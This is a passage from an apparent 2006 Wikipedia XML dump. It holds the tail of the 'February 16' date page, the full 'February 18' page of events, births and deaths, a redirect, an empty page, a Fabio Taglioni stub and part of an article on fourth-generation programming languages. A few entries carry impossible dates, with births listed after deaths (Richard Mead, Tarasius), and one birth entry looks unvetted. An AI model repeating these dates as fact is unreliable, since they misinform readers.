*[[1929]] - [[Gerhard Hanappi]], Austrian footballer (d. [[1980]])
*[[1931]] - [[Otis Blackwell]], American songwriter and singer (d. [[2002]])
*[[1932]] - [[Harry Goz]], American actor (d. [[2003]])
*1932 - [[Ahmad Tejan Kabbah]], [[President of Sierra Leone]]
*[[1935]] - [[Sonny Bono]], singer, music producer, television producer, and U.S. Congressman (d. [[1998]])
*[[1936]] - [[Jill Kinmont]], American skier
*[[1937]] - [[Yuri Manin]], Russian mathematician
*[[1938]] - [[John Corigliano]], American composer
*1938 - [[Barry Primus]], American actor
*[[1941]] - [[Kim Jong-il]], North Korean leader
*[[1944]] - [[Richard Ford]], American novelist
*[[1945]] - [[Jeremy Bulloch]], English actor
*1945 - [[Frank Welker]], American voice actor
*[[1950]] - [[Peter Hain]], British politician
*[[1951]] - [[William Katt]], American actor
*[[1953]] - [[Lanny McDonald]], Canadian [[ice hockey]] player
*[[1954]] - [[Michael Holding]], West Indian fast bowler [[cricket]]
*[[1954]] - [[Iain Banks]], Scottish author
*[[1955]] - [[Margaux Hemingway]], American actress and model (d. [[1996]])
*[[1957]] - [[LeVar Burton]], American actor
*1957 - [[James Ingram]], American singer
*[[1958]] - [[Ice-T]], American rapper, songwriter, and actor
*1958 - [[Lisa Loring]], American actress
*[[1959]] - [[John McEnroe]], American tennis player
*[[1960]] - [[Pete Willis]], English guitarist ([[Def Leppard]])
*[[1961]] - [[Andy Taylor]], English musician ([[Duran Duran]])
*[[1963]] - [[Dave Lombardo]], Cuban drummer ([[Slayer]])
*[[1964]] - [[Bebeto]], Brazilian footballer
*1964 - [[Christopher Eccleston]], English actor
*[[1967]] - [[John Valentin]], baseball player
*[[1968]] - [[Warren Ellis]], comic book writer
*[[1970]] - [[DJ Wallis]], fitness competitor
*[[1972]] - [[Jerome Bettis]], American football player
*1972 - [[Taylor Hawkins]], American musician ([[Foo Fighters]])
*[[1973]] - [[Cathy Freeman]], Australian athlete
*[[1975]] - [[Nanase Aikawa]], Japanese singer
*[[1976]] - [[Kyo (musician)|Kyo]], Japanese singer ([[Dir en grey]]) 
*[[1977]] - [[Ian Clarke]], Irish computer programmer
*1977 - [[Ahman Green]], American football player
*[[1979]] - [[Valentino Rossi]], Italian motorcycle racer
*[[1980]] - [[Ashley Lelie]], American football player
&lt;!-- Do not add yourself, or anyone else who does not already have a Wikipedia article, to this list. Duplicate instances of years should not be links. --&gt;

==Deaths==
*[[1247]] - [[Heinrich Raspe]], Landgrave of Thuringia (b. [[1204]])
*[[1279]] - King [[Afonso III of Portugal]] (b. [[1210]])
*[[1391]] - [[John V Palaeologus]], [[Byzantine Emperor]] (b. [[1332]])
*[[1531]] - [[Johannes Stöffler]], German mathematician and astronomer (b. [[1452]])
*[[1560]] - [[Jean du Bellay]], French Catholic cardinal and diplomat
*[[1710]] - [[Esprit Fléchier]], French writer and Bishop of Nîmes (b. [[1632]])
*[[1721]] - [[James Craggs the Younger]], English politician (b. [[1686]])
*[[1754]] - [[Richard Mead]], English physician (b. [[1763]])
*[[1898]] - [[Thomas Bracken]], New Zealand poet (b. [[1843]])
*[[1899]] - [[Félix Faure]], President of France (b. [[1841]])
*[[1907]] - [[Giosue Carducci]], Italian writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (b. [[1835]])
*[[1912]] - St. [[Nikolai of Japan]], Eastern Orthodox priest (b. [[1836]])
*[[1917]] - [[Octave Mirbeau]], French writer (b. [[1848]])
*[[1919]] - [[Vera Kholodnaya]], Russian film star (b. [[1893]])
*[[1928]] - [[Eddie Foy]], American singer and dancer (b. [[1856]])
*[[1932]] - [[Ferdinand Buisson]], French pacifist, recipient of the [[Nobel Peace Prize]] (b. [[1841]])
*[[1967]] - [[Antonio Moreno]], Spanish-born actor (b. [[1887]])
*[[1970]] - [[Francis Peyton Rous]], American pathologist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1879]])
*[[1974]] - [[John Garand]], Canadian rifle engineer and manufacturer (b. [[1888]])
*[[1975]] - [[Morgan Taylor]], American athlete (b. [[1903]])
*[[1977]] - [[Carlos Pellicer]], Mexican poet (b. [[1897]])
*[[1978]] - [[E. Roland Harriman]], American financier (b. [[1895]])
*[[1980]] - [[Erich Hückel]], German physicist (b. [[1895]])
*[[1990]] - [[Keith Haring]], American artist (b. [[1958]])
*[[1992]] - [[Angela Carter]], English writer (b. [[1940]])
*1992 - [[Jânio Quadros]], Brazilian politician (b. [[1917]])
*1992 - [[Herman Wold]], Swedish statistician (b. [[1908]])
*[[1996]] - [[Roger Bowen]], American actor (b. [[1932]])
*1996 - [[Edmund G. Brown]], Governor of California (b. [[1905]])
*1996 - [[Brownie McGhee]], American singer (b. [[1915]])
*[[2000]] - [[Karsten Solheim]], Norwegian-born engineer and inventor (b. [[1911]])
*[[2001]] - [[Bob Buhl]], baseball player (b. [[1928]])
*2001 - [[William Masters]], American gynecologist and sexologist (b. [[1915]])
*[[2002]] - [[Walter Winterbottom]], England football manager (b. [[1913]])
*[[2003]] - [[Eleanor &quot;Sis&quot; Daley]], wife of Chicago mayor [[Richard J. Daley]] (b. [[1907]])
*[[2004]] - [[Shirley Strickland]], Australian athlete (b. [[1925]])
*2004 - [[Doris Troy]], American singer (b. [[1937]])
*[[2005]] - [[Nicole DeHuff]], American actress (pneumonia) (b. [[1975]])
*[[2006]] - [[Johnny Grunge]], American professional wrestler (b. [[1966]])
*2006 - [[Ernie Stautner]], German-born American football player (b. [[1925]])

==Holidays and observances==
*[[Lithuania]] - [[National Day|Independence Day]] ([[1918]])
*[[Kyoto Protocol]] Day ([[2005]])

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/16 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20060216.html NY Times: On this day]
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=16 On this day in Canada]

----

[[February 15]] - [[February 17]] - [[January 16]] - [[March 16]] -- [[Historical anniversaries|listing of all days]]

{{months}}

[[af:16 Februarie]]
[[an:16 de frebero]]
[[ar:16 فبراير]]
[[ast:16 de febreru]]
[[be:16 лютага]]
[[bg:16 февруари]]
[[bs:16. februar]]
[[ca:16 de febrer]]
[[ceb:Pebrero 16]]
[[co:16 di frivaghju]]
[[cs:16. únor]]
[[csb:16 gromicznika]]
[[cv:Нарăс, 16]]
[[cy:16 Chwefror]]
[[da:16. februar]]
[[de:16. Februar]]
[[el:16 Φεβρουαρίου]]
[[eo:16-a de februaro]]
[[es:16 de febrero]]
[[et:16. veebruar]]
[[eu:Otsailaren 16]]
[[fi:16. helmikuuta]]
[[fo:16. februar]]
[[fr:16 février]]
[[fy:16 febrewaris]]
[[ga:16 Feabhra]]
[[gl:16 de febreiro]]
[[he:16 בפברואר]]
[[hr:16. veljače]]
[[hu:Február 16]]
[[ia:16 de februario]]
[[id:16 Februari]]
[[io:16 di februaro]]
[[is:16. febrúar]]
[[it:16 febbraio]]
[[ja:2月16日]]
[[jv:16 Februari]]
[[ka:16 თებერვალი]]
[[ko:2월 16일]]
[[ku:16'ê reşemiyê]]
[[lb:16. Februar]]
[[lt:Vasario 16]]
[[mk:16 февруари]]
[[ms:16 Februari]]
[[nap:16 'e frevaro]]
[[nl:16 februari]]
[[nn:16. februar]]
[[no:16. februar]]
[[oc:16 de febrièr]]
[[os:16 февралы]]
[[pam:Pebreru 16]]
[[pl:16 lutego]]
[[pt:16 de Fevereiro]]
[[ro:16 februarie]]
[[ru:16 февраля]]
[[scn:16 di frivaru]]
[[sco:16 Februar]]
[[se:Guovvamánu 16.]]
[[simple:February 16]]
[[sk:16. február]]
[[sl:16. februar]]
[[sq:16 Shkurt]]
[[sr:16. фебруар]]
[[sv:16 februari]]
[[te:ఫిబ్రవరి 16]]
[[th:16 กุมภาพันธ์]]
[[tl:Pebrero 16]]
[[tr:16 Şubat]]
[[tt:16. Febräl]]
[[uk:16 лютого]]
[[vi:16 tháng 2]]
[[wa:16 di fevrî]]
[[war:Pebrero 16]]
[[zh:2月16日]]</text>
    </revision>
  </page>
  <page>
    <title>February 18</title>
    <id>11363</id>
    <revision>
      <id>42034579</id>
      <timestamp>2006-03-03T10:00:51Z</timestamp>
      <contributor>
        <ip>24.62.25.245</ip>
      </contributor>
      <comment>/* Births */</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|-
|{{FebruaryCalendar}}
|-
|{{ThisDateInRecentYears|Month=February|Day=18}}
|}
'''February 18''' is the 49th day of the year in the [[Gregorian Calendar]]. There are 316 days remaining (317 in [[leap year]]s).
==Events==
*[[4th millennium BC|3102 BC]] - [[epoch (reference date)|Epoch]] (origin) of the [[Kali Yuga]]- [[Krishna|Lord Krishna]] leaves his mortal coil.
*[[1229]] - The [[Sixth Crusade]]: [[Frederick II, Holy Roman Emperor]] signs a ten-year [[truce]] with [[al-Kamil]], regaining [[Jerusalem]], [[Nazareth]], and [[Bethlehem]] with neither military engagements nor support from the [[papacy]].
*[[1478]] - [[George, Duke of Clarence|George]], [[Duke of Clarence]], convicted of [[treason]] against his older brother [[Edward IV of England]], is privately [[execution (legal)|executed]] in the [[Tower of London]].
*[[1685]] - [[Fort St. Louis]] is established by a [[Frenchman]] at [[Matagorda Bay]] thus forming the basis for [[France]]'s claim to [[Texas]].
*[[1797]] - [[Trinidad]] is surrendered to a [[British]] fleet under the command of [[Sir Ralph Abercromby]].
*[[1814]] - [[Battle of Montereau]] occurs.
*[[1841]] - The first ongoing [[filibuster (legislative tactic)|filibuster]] in the [[United States Senate]] begins and lasts until [[March 11]].
*[[1856]] - The [[Know-Nothing movement|American Party]] (''Know-Nothings'') convene in [[Philadelphia, Pennsylvania]] to nominate their first [[President of the United States|Presidential]] candidate, former [[President]] [[Millard Fillmore]].
*[[1861]] - In [[Montgomery, Alabama]], [[Jefferson Davis]] is inaugurated as the provisional [[President]] of the [[Confederate States of America]].
*1861 - With the [[Italian unification]] almost complete, [[Monarch|King]] [[Victor Emmanuel II of Italy|Victor Emmanuel II]] of [[Piedmont]], [[Savoy]] and [[Sardinia]] assumes the title of [[King of Italy]].
*[[1865]] - In the [[U.S.]], [[Delaware]] voters reject the [[13th Amendment to the U.S. Constitution]], and vote to continue the practice of slavery. (Delaware finally ratifies the amendment on [[February 12]], [[1901]].)
*[[1878]] - The [[Lincoln County War]] begins in [[Lincoln County, New Mexico]].
*[[1885]] - [[Mark Twain]]'s ''[[Adventures of Huckleberry Finn]]'' is published for the first time.
*[[1911]] - The first official flight with [[air mail]] takes place in [[Allahabad]], [[British India]], when [[Henri Pequet]], a 23-year-old pilot, delivers 6,500 letters to [[Naini]], about 10 km away.
*[[1913]] - [[Raymond Poincaré]] becomes [[President]] of [[France]].
*[[1929]] - First [[Academy Awards]] are announced.
*[[1930]] - While studying photographs taken in [[January]], [[Clyde Tombaugh]] discovers [[Pluto (planet)|Pluto]].
*1930 - [[Elm Farm Ollie]] becomes the first [[cattle|cow]] to fly in an [[airplane]] and also the first cow to be milked in an airplane.
*[[1932]] - The [[Empire of Japan]] declares [[Manzhouguo]] (obsolete [[Chinese]] name for [[Manchuria]]) independent from [[China]].
*[[1943]] - The [[Nazi]]s arrest the members of the [[White Rose]] movement.
*1943 - [[Joseph Goebbels]] delivers the [[Sportpalast speech]].
*[[1948]] - [[Eamon de Valera]] resigns as [[Taoiseach]] of [[Ireland]].
*[[1953]] - The first [[3D film]], ''[[Bwana Devil]]'', opens.
*1953 - [[Lucille Ball]] and [[Desi Arnaz]] sign an $8,000,000 contract to continue the ''[[I Love Lucy]]'' [[television series]] through [[1955]].
*[[1965]] - [[The Gambia]] becomes independent from the [[United Kingdom]].
*[[1970]] - The [[Chicago Eight]] are found not guilty of conspiring to incite [[riot]]s at the [[1968]] [[United States Democratic Party|Democratic Party]] national convention.
*[[1972]] - The [[California Supreme Court]] invalidates the state's [[death penalty]] and commutes the sentences of all [[death row]] inmates to life in prison.
*[[1974]] - The [[game show]] ''[[Tattletales]]'' debuts in the slot vacated by the long-running [[soap opera]] ''[[The Secret Storm]]''.
*[[1977]] - The [[Space Shuttle Enterprise]] test vehicle goes on its maiden &quot;flight&quot; while sitting on top of a [[Boeing 747]].
*[[1983]] - Thirteen people die and one is seriously injured in the [[Wah Mee massacre|Wah Mee Massacre]] in [[Seattle, Washington]], said to be the largest robbery-motivated mass-murder in [[United States|American]] history.
*[[1985]] - The legendary &quot;[[mirror globe]]&quot; ident, first used in [[1969]], is seen for the last time in regular rotation on [[BBC1]].
*[[1991]] - The [[Provisional Irish Republican Army|IRA]] explodes bombs in the early morning at both [[Paddington station]] and [[Victoria station (London)|Victoria station]] in [[London]].
*[[1998]] - Two [[white separatism|white separatist]]s are arrested in [[Nevada]] and accused of plotting a [[biological warfare|biological attack]] on [[New York City]] [[metro|subway]]s.
*[[2001]] - [[Dale Earnhardt]] is killed on the last lap of the [[Daytona 500]]
*[[2003]] - Nearly 200 people die in the [[Daegu subway fire]] in [[South Korea]]
*[[2004]] - Up to 295 people, including nearly 200 rescue workers, die near [[Neyshabur]] in [[Iran]] when a run-away freight [[train]] carrying [[sulfur]], [[petrol]] and [[fertiliser]] catches fire and explodes.
*[[2005]] - The [[United Kingdom]] law banning [[fox hunting]], [[hare coursing]] and other sports which kill wild [[mammal]]s is enforced from this date.
*[[2006]] - Upwards to two million people gather at [[Rio de Janeiro]]'s [[Copacabana Beach]] to see a free concert performed by the [[Rolling Stones]].

==Births==
*[[1486]] - [[Chaitanya Mahaprabhu]], [[Bengal|Bengali]] saint, [[bhakti yoga]] developer.
*[[1516]] - Queen [[Mary I of England]] (d. [[1558]])
*[[1530]] - [[Uesugi Kenshin]], Japanese samurai and warlord (d. [[1578]])
*[[1559]] - [[Isaac Casaubon]], French classical scholar (d. [[1614]])
*[[1602]] - [[Per Brahe (the younger)]], Swedish soldier and statesman (d. [[1680]])
*[[1609]] - [[Edward Hyde, 1st Earl of Clarendon]], English statesman and historian (d. [[1674]])
*[[1635]] - [[Johan Göransson Gyllenstierna]], Swedish statesman (d. [[1680]])
*[[1642]] - [[Marie Champmeslé]], French actress (d. [[1698]])
*[[1658]] - [[Charles-Irénée Castel de Saint-Pierre]], French writer (d. [[1743]])
*[[1745]] - [[Alessandro Volta]], Italian physicist (d. [[1827]])
*[[1835]] - [[César Cui]], Lithuanian composer (d. [[1918]])
*[[1838]] - [[Ernst Mach]], Austrian physicist and philosopher (d. [[1916]])
*[[1846]] - [[Wilson Barrett]], English actor and playwright (d. [[1904]])
*[[1848]] - [[Louis Comfort Tiffany]], American glass artist (d. [[1933]])
*[[1849]] - [[Alexander Kielland]], Norwegian author (d. [[1906]])
*[[1859]] - [[Sholom Aleichem]], Russian Yiddish humorist and author (d. [[1916]])
*[[1871]] - [[Harry Brearley]], English inventor (d. [[1948]])
*[[1883]] - [[Nikos Kazantzakis]], Greek writer (d. [[1957]])
*[[1884]] - [[Andrew Watson Myles]], Canadian politician (d. [[1970]])
*[[1890]] - [[Edward Arnold (actor)|Edward Arnold]], American actor (d. [[1956]])
*1890 - [[Adolphe Menjou]], American actor (d. [[1963]])
*[[1892]] - [[Wendell Willkie]], U.S. Presidential candidate (d. [[1944]])
*[[1896]] - [[Andre Breton]], French writer (d. [[1966]])
*[[1898]] - [[Enzo Ferrari]], Italian race car driver and manufacturer (d. [[1988]])
*1898 - [[Luis Muñoz Marín]], Puerto Rican poet, journalist, and politician (d. [[1980]])
*[[1901]] - [[Reginald Sheffield]], British actor (d. [[1957]])
*[[1903]] - [[Nikolai Podgorny]], [[President of the Soviet Union]] (d. [[1983]])
*[[1905]] - [[Jan Gies]], Dutch resistance fighter (d. [[1993]])
*[[1906]] - [[Hans Asperger]], Austrian pediatrician (d. [[1980]])
*[[1909]] - [[Wallace Stegner]], American writer (d. [[1993]])
*[[1915]] - [[Phyllis Calvert]], British actress (d. [[2002]])
*[[1919]] - [[Jack Palance]], American actor
*[[1920]] - [[Bill Cullen]], American game show host (d. [[1990]])
*1920 - [[Eric Gairy]], Grenadan politician (d. [[1997]])
*[[1922]] - [[Helen Gurley Brown]], American editor and publisher
*1922 - [[Allan Melvin]], American actor
*[[1924]]: [[Humberto Fernández Morán]], [[Venezuela]]n scientist, inventor of [[diamond scalpel]] (d. [[1999]]).
*[[1925]] - [[George Kennedy]], American actor
*[[1927]] - [[John Warner]], U.S. Senator
*[[1929]] - [[Len Deighton]], British author
*[[1930]] - [[Gahan Wilson]], American cartoonist
*[[1931]] - [[Johnny Hart]], American cartoonist
*1931 - [[Toni Morrison]], American writer, [[Nobel Prize in Literature|Nobel Prize]] laureate
*1931 - [[Bob St. Clair]], American football player
*[[1932]] - [[Milos Forman]], Czech film director
*[[1933]] - [[Yoko Ono]], Japanese-born singer, artist, and wife of [[John Lennon]]
*1933 - [[Bobby Robson]], English football manager
*1933 - [[Mary Ure]], Scottish actress (d. [[1975]])
*[[1936]] - [[Jean Auel]], American writer
*[[1938]] - [[István Szabó]], Hungarian film director
*[[1943]] - [[Graeme Garden]], Scottish writer, comedian, and actor
*[[1945]] - [[Judy Rankin]], American golfer
*[[1947]] - [[Dennis DeYoung]], vocalist pianist/keyboardist of [[Styx (band)|STYX]]
*1947 - [[Princess Christina of the Netherlands]]
*1947 - [[Carlos Lopes]], Portuguese Olympic athlete
*[[1948]] - [[Sinéad Cusack]], Irish actress
*[[1949]] - [[Gary Ridgway]], American serial killer
*[[1950]] - [[John Hughes (film director)|John Hughes]], American director, producer, and writer
*1950 - [[Cybill Shepherd]], American actress
*[[1952]] - [[Maurice Lucas]], American basketball player
*1952 - [[Juice Newton]], American country singer
*[[1953]] - [[Derek Pellicci]], Australian drummer ([[Little River Band]])
*1953 - [[Robbie Bachman]], Canadian drummer ([[Bachman-Turner Overdrive]])
*[[1954]] - [[John Travolta]], American actor
*[[1956]] - [[Ted Gärdestad]], Swedish singer (d. [[1997]])
*[[1957]] - [[Marita Koch]], German athlete
*1957 - [[Vanna White]], American game show presenter
*[[1960]] - [[Greta Scacchi]], Australian actress
*[[1962]] - [[Julie Strain]], American actress
*[[1964]] - [[Matt Dillon]], American actor
*[[1965]] - [[Dr. Dre]], American rapper and record producer
*[[1968]] - [[Molly Ringwald]], American actress
*[[1969]] - [[Alexander Mogilny]], Russian [[ice hockey]] player
*[[1970]] - [[Raine Maida]], Canadian rock musician. Band: [[Our Lady Peace]]
*1970 - [[Susan Egan]], American musical actress
*[[1973]] - [[Claude Makelele]], French footballer
*[[1974]] - [[Jamey Carroll]], American baseball player
*[[1975]] - [[Keith Gillespie]], Northern Irish footballer
*1975 - [[Gary Neville]], English footballer ([Manchester United])
*[[1981]] - [[Andrei Kirilenko (basketball)|Andrei Kirilenko]], Russian basketball player
*1981 - [[Buddy Nielsen]], American singer ([[Senses Fail]])
*1981 - [[Ivan Sproule]], Northern Irish footballer
*[[1983]] - [[Jermaine Jenas]], English footballer
*[[1984]] - Jason Orach, American engineer
*[[1985]] - [[Lee Boyd Malvo]], American serial killer
*1985 - [[Anton Ferdinand]], English footballer
*[[1988]] - [[Rihanna]], West Indian singer
&lt;!-- Do not add yourself, or anyone else who does not already have a Wikipedia article, to this list. Duplicate instances of years should not be links. --&gt;

==Deaths==
*[[4th millennium BC|3102 BC]] - [[Krishna]], Indian god (b. 3228 BC)
*[[806]] - [[Tarasius]], Patriarch of Constantinople (b. [[1866]])
*[[814]] - [[Angilbert]], Frankish monk and confidant of [[Charlemagne]]
*[[901]] - [[Thabit ibn Qurra]], Arab astronomer and mathematician (b. [[826]])
*[[999]] - [[Pope Gregory V]]
*[[1139]] - Prince [[Yaropolk II of Kiev]] (b. [[1082]])
*[[1294]] - [[Kublai Khan]] of the Mongol Empire (b. [[1215]])
*[[1379]] - [[Albert II of Mecklenburg]]
*[[1405]] - [[Tamerlane]], of the Mongol Empire.
*[[1455]] - [[Fra Angelico]], Italian artist (b. [[1395]])
*[[1478]] - [[George, Duke of Clarence]], brother of [[Edward IV of England|Edward IV]] and [[Richard III of England]] (executed) (b. [[1449]])
*[[1535]] - [[Heinrich Cornelius Agrippa]], astrologer and alchemist (b. [[1486]])
*[[1546]] - [[Martin Luther]], German religious reformer (b. [[1483]])
*[[1564]] - [[Michelangelo Buonarroti]], Italian artist (b. [[1475]])
*[[1583]] - [[Antonio Francesco Grazzini]], Italian writer (b. [[1503]])
*[[1654]] - [[Jean-Louis Guez de Balzac]], French writer (b. [[1594]])
*[[1683]] - [[Nicolaes Pieterszoon Berchem]], Dutch painter (b. [[1620]])
*[[1712]] - [[Louis, Duke of Burgundy]], heir to the throne of France (b. [[1682]])
*[[1718]] - [[Pierre Antoine Motteux]], French-born English dramatist (b. [[1663]])
*[[1743]] - [[Anna Maria Luisa de' Medici]], last of the Medicis (b. [[1667]])
*[[1748]] - [[Otto Ferdinand Graf von Abensperg und Traun]], Austrian field marshal (b. [[1677]])
*[[1772]] - [[Johann Hartwig Ernst, Count von Bernstorff]], Danish statesman (b. [[1712]])
*[[1778]] - [[Joseph Marie Terray]], French statesman (b. [[1715]])
*[[1780]] - [[Kristijonas Donelaitis]], Lithuanian poet (b. [[1714]])
*[[1788]] - [[John Whitehurst]], English clockmaker and scientist (b. [[1713]])
*[[1803]] - [[Johann Wilhelm Ludwig Gleim]], German poet (b. [[1719]])
*[[1931]] - [[Milan Sufflay]], Croatian politician (b. [[1879]])
*[[1933]] - [[James J. Corbett]], American boxer (b. [[1866]])
*[[1938]] - [[David King Udall]], American politician (b. [[1851]])
*[[1942]] - [[Albert Payson Terhune]], American author (b. [[1872]])
*[[1956]] - [[Gustave Charpentier]], French composer (b. [[1860]])
*[[1957]] - [[Henry Norris Russell]], American astronomer (b. [[1877]])
*[[1966]] - [[Robert Rossen]], American screenwriter, producer, and director (d. [[1908]]
*[[1967]] - [[J. Robert Oppenheimer]], American physicist (b. [[1904]])
*[[1973]] - [[Frank Costello]], Italian-born gangster (b. [[1891]])
*[[1977]] - [[Andy Devine]], American actor (b. [[1905]])
*[[1978]] - [[Maggie McNamara]], American actress (b. [[1928]])
*[[1981]] - [[John Knudsen Northrop]], American aircraft designer (b. [[1895]])
*[[1982]] - [[Ngaio Marsh]], New Zealand author (b. [[1895]])
*[[1993]] - [[Kerry Von Erich]], American professional wrestler (b. [[1960]])
*1993 - [[Jacqueline Hill]], British actress (b. [[1929]])
*[[1997]] - [[Emily Hahn]], American writer (b. [[1905]])
*[[1998]] - [[Harry Caray]], baseball broadcaster (b. [[1914]])
*[[1999]] - [[Noam Pitlik]], American actor and director (b. [[1932]])
*[[2001]] - [[Balthus]], French-Polish painter (b. [[1908]])
*2001 - [[Charles Trenet]], French singer (b. [[1913]])
*2001 - [[Dale Earnhardt]], American race car driver (b. [[1951]])
*2001 - [[Eddie Mathews]], baseball player (b. [[1931]])
*[[2003]] - [[Isser Harel]], Israeli Mossad leader (b. [[1912]])
*[[2004]] - [[Jean Rouch]], French filmmaker and ethnologist (b. [[1917]])
*[[2006]] - [[Frederik Rreshpja]], Albanian poet (b. [[1946]])
*2006 - [[Richard Bright (actor)|Richard Bright]], American actor (b. [[1937]])

&lt;!-- Duplicate instances of years should not be links. --&gt;

==Holidays and observances==
*[[Independence Day]] in [[The Gambia]], ([[1965]])

==External links==
*[http://news.bbc.co.uk/onthisday/hi/dates/stories/february/18 BBC: On This Day]
*[http://www.nytimes.com/learning/general/onthisday/20060218.html ''The New York Times'': On This Day]
*[http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=18 On This Day in Canada]


----
[[February 17]] - [[February 19]] - [[January 18]] - [[March 18]] -- [[Historical anniversaries|listing of all days]]

{{months}}

[[af:18 Februarie]]
[[ar:18 فبراير]]
[[an:18 de frebero]]
[[ast:18 de febreru]]
[[bg:18 февруари]]
[[be:18 лютага]]
[[bs:18. februar]]
[[ca:18 de febrer]]
[[ceb:Pebrero 18]]
[[cv:Нарăс, 18]]
[[co:18 di frivaghju]]
[[cs:18. únor]]
[[cy:18 Chwefror]]
[[da:18. februar]]
[[de:18. Februar]]
[[et:18. veebruar]]
[[el:18 Φεβρουαρίου]]
[[es:18 de febrero]]
[[eo:18-a de februaro]]
[[eu:Otsailaren 18]]
[[fo:18. februar]]
[[fr:18 février]]
[[fy:18 febrewaris]]
[[ga:18 Feabhra]]
[[gl:18 de febreiro]]
[[ko:2월 18일]]
[[hr:18. veljače]]
[[io:18 di februaro]]
[[id:18 Februari]]
[[ia:18 de februario]]
[[is:18. febrúar]]
[[it:18 febbraio]]
[[he:18 בפברואר]]
[[jv:18 Februari]]
[[ka:18 თებერვალი]]
[[csb:18 gromicznika]]
[[ku:18'ê reşemiyê]]
[[la:18 Februarii]]
[[lt:Vasario 18]]
[[lb:18. Februar]]
[[hu:Február 18]]
[[mk:18 февруари]]
[[ms:18 Februari]]
[[nap:18 'e frevaro]]
[[nl:18 februari]]
[[ja:2月18日]]
[[no:18. februar]]
[[nn:18. februar]]
[[oc:18 de febrièr]]
[[pl:18 lutego]]
[[pt:18 de Fevereiro]]
[[ro:18 februarie]]
[[ru:18 февраля]]
[[se:Guovvamánu 18.]]
[[sco:18 Februar]]
[[sq:18 Shkurt]]
[[scn:18 di frivaru]]
[[simple:February 18]]
[[sk:18. február]]
[[sl:18. februar]]
[[sr:18. фебруар]]
[[fi:18. helmikuuta]]
[[sv:18 februari]]
[[tl:Pebrero 18]]
[[tt:18. Febräl]]
[[te:ఫిబ్రవరి 18]]
[[th:18 กุมภาพันธ์]]
[[vi:18 tháng 2]]
[[tr:18 Şubat]]
[[uk:18 лютого]]
[[wa:18 di fevrî]]
[[war:Pebrero 18]]
[[zh:2月18日]]
[[pam:Pebreru 18]]</text>
    </revision>
  </page>
  <page>
    <title>Fe</title>
    <id>11364</id>
    <revision>
      <id>15909114</id>
      <timestamp>2003-11-01T10:17:53Z</timestamp>
      <contributor>
        <username>Docu</username>
        <id>8029</id>
      </contributor>
      <comment>upd .redir</comment>
      <text xml:space="preserve">#REDIRECT [[FE]]</text>
    </revision>
  </page>
  <page>
    <title>Floor Leader</title>
    <id>11365</id>
    <revision>
      <id>41921826</id>
      <timestamp>2006-03-02T17:10:54Z</timestamp>
      <contributor>
        <ip>207.144.122.253</ip>
      </contributor>
      <text xml:space="preserve" />
    </revision>
  </page>
  <page>
    <title>Fabio Taglioni</title>
    <id>11366</id>
    <revision>
      <id>25928190</id>
      <timestamp>2005-10-19T16:25:09Z</timestamp>
      <contributor>
        <username>Hooperbloob</username>
        <id>113077</id>
      </contributor>
      <comment>+wikilink</comment>
      <text xml:space="preserve">'''Fabio Taglioni''' (Lugo di Romagna, [[September 10]], [[1920]] &amp;ndash; [[July 18]], [[2001]] in [[Bologna]], [[Italy]]) was chief designer and technical director of [[Ducati Motor Holding]] from [[1954]] until [[1989]]. His [[Desmodromic valve|desmodromic]] V-twin design is still used in all current [[Ducati]] [[motorcycle]] [[engine]]s. Among  the many race victories of his early desmo twin, the 1978 legendary return of [[Mike Hailwood]] at the [[Isle of Man]] is perhaps the most memorable.

{{Italy-bio-stub}}

[[Category:1920 births|Taglioni]]
[[Category:2001 deaths|Taglioni]]
[[Category:Industrial designers|Taglioni]]
[[Category:Natives of Emilia-Romagna|Taglioni]]

[[de:Fabio Taglioni]]</text>
    </revision>
  </page>
  <page>
    <title>Fourth-generation programming language</title>
    <id>11367</id>
    <revision>
      <id>41910915</id>
      <timestamp>2006-03-02T15:40:49Z</timestamp>
      <contributor>
        <username>Can't sleep, clown will eat me</username>
        <id>603177</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/212.219.41.150|212.219.41.150]] to last version by FlaBot</comment>
      <text xml:space="preserve">A '''fourth-generation programming language''' (abbreviated '''4GL''') is a [[programming language]] designed with a specific purpose in mind, such as the development of commercial business software. Such languages arose after the introduction of modern, block-structured [[third-generation programming language]]s, which improved the process of software development. However, it was still frustrating, slow, and error prone to program computers. This led to the first &quot;programming crisis&quot;, in which the amount of work that might be assigned to programmers greatly exceeded the amount of programmer time available to do it.  Meanwhile, a lot of experience was gathered in certain areas, and it became clear that certain applications could be generalized by adding limited programming languages to them.

The term 4GL was first used by [[James Martin]] in his [[1982]] book ''[[Applications Development Without Programmers]]'' to refer to non-procedural, high-level [[specification language]]s. Nevertheless, the great majority of 4GL users would describe themselves as programmers and most 4GLs allowed for (or required) system logic to be written in a proprietary [[macro language]] or a 3GL.

All 4GLs are designed to reduce programming effort, the time it takes to develop software, and the cost of software development. They are not always successful in this task, sometimes resulting in inelegant and unmaintainable code. However, given the right problem, the use of an appropriate 4GL can be spectacularly successful.

A number of different types of 4GLs exist:

*[[Report-generator programming language|Report generator]]s take a description of the data format and the report to generate and from that they either generate the required report directly or they generate a program to generate the report.  
*Similarly, [[forms-generator programming language|forms generator]]s manage online interactions with the application system users or generate programs to do so.
*More ambitious 4GLs (sometimes termed ''fourth generation environments'') attempt to automatically generate whole systems from the outputs of [[CASE]] tools, specifications of screens and reports, and possibly also the specification of some additional processing logic.  

Some 4GLs have integrated tools which allow for the easy specification of all the required information:

*James Martin's own ''Information Engineering'' [[systems development methodology]] was automated to allow the input of the results of system analysis and design in the form of [[data flow diagram]]s, [[entity relationship diagram]]s, [[entity life history diagram]]s etc from which hundreds of thousands of lines of [[COBOL]] would be generated overnight.
*More recently [[Oracle Corporation]]'s [[Oracle Designer]] and [[Oracle Developer]] 4GL products could be integrated to produce database definitions and the forms and reports programs.

Fourth-generation languages have often been compared to [[Domain-specific programming language]]s (DSLs).  Some researchers state that 4GLs are a sub-set of DSLs.  [http://csdl.computer.org/comp/proceedings/hicss/2002/1435/09/14350279.pdf&amp;ei=pgcWQ6CwKsKYYMfF9OAI]

==Some successful fourth-generation languages==
*Database query languages
**[[FOCUS]]
**Oracle PL/SQL
**[[Progress 4GL]]
